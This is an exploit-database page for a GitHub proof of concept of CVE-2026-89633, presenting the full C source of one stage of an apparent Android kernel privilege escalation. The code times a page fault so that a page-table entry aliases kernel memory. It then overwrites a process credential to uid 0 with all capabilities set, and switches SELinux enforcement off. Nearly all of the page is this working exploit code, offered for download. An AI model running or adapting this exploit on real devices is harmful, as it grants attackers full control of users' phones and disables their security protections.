Exploit database

GH-038ad7df359bbc218819b1f1c76c0f9b

woshigenm/cve-2026-89633

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-89633

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files10
woshigenm/cve-2026-89633Revision bff8be72e967

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/exp/pte_fault.c

C · 6,637 bytes
/*
 * SPDX-License-Identifier: MIT
 * Copyright (C) 2026 woshigenm <[email protected]>
 */

/*
 * CVE-2026-89633 - pte_fault: wait for the control flag, fault a fresh VMA
 * page with markers, then (in "patch" mode) rewrite the cred object that the
 * peer mapped through PTE[1].
 *
 * Usage: pte_fault <ctl> [patch] [work_dir] [cpu]
 *
 * Default mode keeps the original one-allocation handoff (PROT_READ, one
 * page-table page).  Patch mode maps the VMA PROT_READ|PROT_WRITE so the peer
 * may install a writable PTE[1]; after the fault it waits for
 * <work_dir>/pte_go, reads the cred page offset from <work_dir>/cred_off.txt
 * (decimal or 0x hex),
 * zeroes uid..fsgid and sets the five capability words of the cred at
 * base+0x1000+off, then writes <work_dir>/pte_result.txt.  work_dir defaults
 * to /data/local/tmp.
 */
#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>

/* tracefs mount point; override with -DTRACE_ROOT='"/sys/kernel/debug/tracing"' */
#ifndef TRACE_ROOT
#define TRACE_ROOT "/sys/kernel/tracing"
#endif

static volatile int *ctl;
static char go_file[256], off_file[256], res_file[256], sel_file[256];

static int wf(const char *p, const char *s)
{
	int fd = open(p, O_WRONLY);
	int r;

	if (fd < 0)
		return -1;
	r = (int)write(fd, s, strlen(s));
	close(fd);
	return r;
}

static int exists(const char *p)
{
	struct stat st;

	return stat(p, &st) == 0;
}

/* Read one integer; base 0 accepts decimal or 0x-prefixed hex. */
static int read_int_file(const char *path, int def)
{
	FILE *f = fopen(path, "r");
	char buf[64];
	long v;

	if (!f)
		return def;
	if (!fgets(buf, sizeof(buf), f)) {
		fclose(f);
		return def;
	}
	fclose(f);
	v = strtol(buf, NULL, 0);
	return (int)v;
}

int main(int argc, char **argv)
{
	const char *path = argc > 1 ? argv[1] : "/data/local/tmp/uc_ctl";
	int patch = argc > 2 && !strcmp(argv[2], "patch");
	const char *work = argc > 3 ? argv[3] : "/data/local/tmp";
	int cpu = argc > 4 ? atoi(argv[4]) : 4;
	int fd = open(path, O_RDWR);
	int prot = patch ? (PROT_READ | PROT_WRITE) : PROT_READ;
	char *p;
	unsigned long abase;
	size_t sz = 8UL << 20;

	snprintf(go_file, sizeof(go_file), "%s/pte_go", work);
	snprintf(off_file, sizeof(off_file), "%s/cred_off.txt", work);
	snprintf(res_file, sizeof(res_file), "%s/pte_result.txt", work);
	snprintf(sel_file, sizeof(sel_file), "%s/selinux_off.txt", work);

	if (fd < 0) {
		perror("ctl");
		return 1;
	}
	ctl = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
	close(fd);
	if ((void *)ctl == MAP_FAILED) {
		perror("ctl mmap");
		return 1;
	}
	{
		cpu_set_t set;

		CPU_ZERO(&set);
		CPU_SET(cpu, &set);
		(void)sched_setaffinity(0, sizeof(set), &set);
	}
	{
		struct timespec ts, t0;

		clock_gettime(CLOCK_MONOTONIC, &t0);
		for (;;) {
			if (__atomic_load_n(&ctl[0], __ATOMIC_ACQUIRE) == 1)
				break;
			clock_gettime(CLOCK_MONOTONIC, &ts);
			if (ts.tv_sec - t0.tv_sec > 60) {
				printf("pte_fault: spin_timeout\n");
				return 2;
			}
			sched_yield();
		}
	}
	wf(TRACE_ROOT "/trace_marker", "PTE_BEGIN");
	/* Keep the mapping in the usual mmap area: its upper page-table levels
	 * are already present, so the fault allocates exactly one page-table
	 * page (the PTE page).  Faulting a far-away address would allocate the
	 * higher levels first and take the freed target before the PTE page. */
	p = mmap(NULL, sz, prot, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (p == MAP_FAILED) {
		perror("mmap");
		return 1;
	}
	/* Fault the first 2 MiB-aligned page inside the mapping.  The 8 MiB VMA
	 * is free of other mappings, so this region's page table is allocated by
	 * this fault; faulting p[0] when p is not aligned could share and mutate
	 * an existing page table that also backs a neighbouring mapping. */
	{
		abase = ((unsigned long)p + ((1UL << 21) - 1)) &
			~((1UL << 21) - 1);
		volatile char c = ((volatile char *)abase)[0];

		(void)c;
		printf("pte_fault: pid=%d map=%p q=%p\n", (int)getpid(),
		       (void *)p, (void *)abase);
		fflush(stdout);
	}
	wf(TRACE_ROOT "/trace_marker", "PTE_END");
	ctl[0] = 3;
	printf("pte_fault: pid=%d base=%p alias=%p patch=%d\n", (int)getpid(),
	       p, (void *)abase, patch);
	fflush(stdout);
	if (!patch) {
		sleep(600);
		return 0;
	}
	{
		struct timespec ts, t0;

		clock_gettime(CLOCK_MONOTONIC, &t0);
		for (;;) {
			if (exists(go_file))
				break;
			clock_gettime(CLOCK_MONOTONIC, &ts);
			if (ts.tv_sec - t0.tv_sec > 180) {
				printf("pte_fault: go_timeout\n");
				return 2;
			}
			usleep(1000);
		}
	}
	{
		int off = read_int_file(off_file, -1), i;

		if (off < 0 || off > 3900) {
			printf("pte_fault: bad off=%d\n", off);
			return 2;
		}
		{
			volatile unsigned int *u =
				(volatile unsigned int *)(abase + 0x1000 + off);

			printf("pte_fault: alias off=%d usage=%u uid=%u caps=%u\n",
			       off, u[0], u[2], u[16]);
			fflush(stdout);
			if (u[0] == 0 || u[2] != 2000) {
				printf("pte_fault: alias target mismatch "
				       "(usage=%u uid=%u), refusing\n",
				       u[0], u[2]);
				fflush(stdout);
				{
					FILE *g = fopen(res_file, "w");

					if (g) {
						fprintf(g, "bad-target off=%d "
							"usage=%u uid=%u\n",
							off, u[0], u[2]);
						fclose(g);
					}
				}
				sleep(600);
				return 2;
			}
			for (i = 2; i < 10; i++)	/* uid..fsgid */
				u[i] = 0;
			for (i = 12; i < 22; i++)	/* five cap words */
				u[i] = 0xffffffffu;
			printf("pte_fault: patched uid=%u gid=%u euid=%u fsuid=%u "
			       "caps=%u/%u/%u/%u/%u\n",
			       u[2], u[3], u[6], u[8], u[12], u[14], u[16],
			       u[18], u[20]);
			fflush(stdout);
		}
		{
			FILE *g = fopen(res_file, "w");

			if (g) {
				fprintf(g, "ok off=%d\n", off);
				fclose(g);
			}
		}
	}
	{
		/* PTE[2] maps the selinux_state page; write only the enforcing
		 * byte after checking the struct signature at its offset. */
		int off2 = read_int_file(sel_file, -1);

		if (off2 >= 0 && off2 <= 3900) {
			volatile unsigned char *s =
				(volatile unsigned char *)(abase + 0x2000 + off2);
			unsigned long long pol = 0;
			int i2;

			for (i2 = 0; i2 < 8; i2++)
				((unsigned char *)&pol)[i2] = s[72 + i2];
			printf("pte_fault: selinux off=%d enf=%u init=%u "
			       "policy=%#llx\n", off2, s[0], s[1], pol);
			fflush(stdout);
			if (s[0] == 1 && s[1] == 1 &&
			    pol >= 0xffffff8000000000ULL) {
				s[0] = 0;
				printf("pte_fault: selinux enforcing -> 0\n");
			} else {
				printf("pte_fault: selinux target mismatch, "
				       "skip\n");
			}
			fflush(stdout);
		}
	}
	sleep(600);
	return 0;
}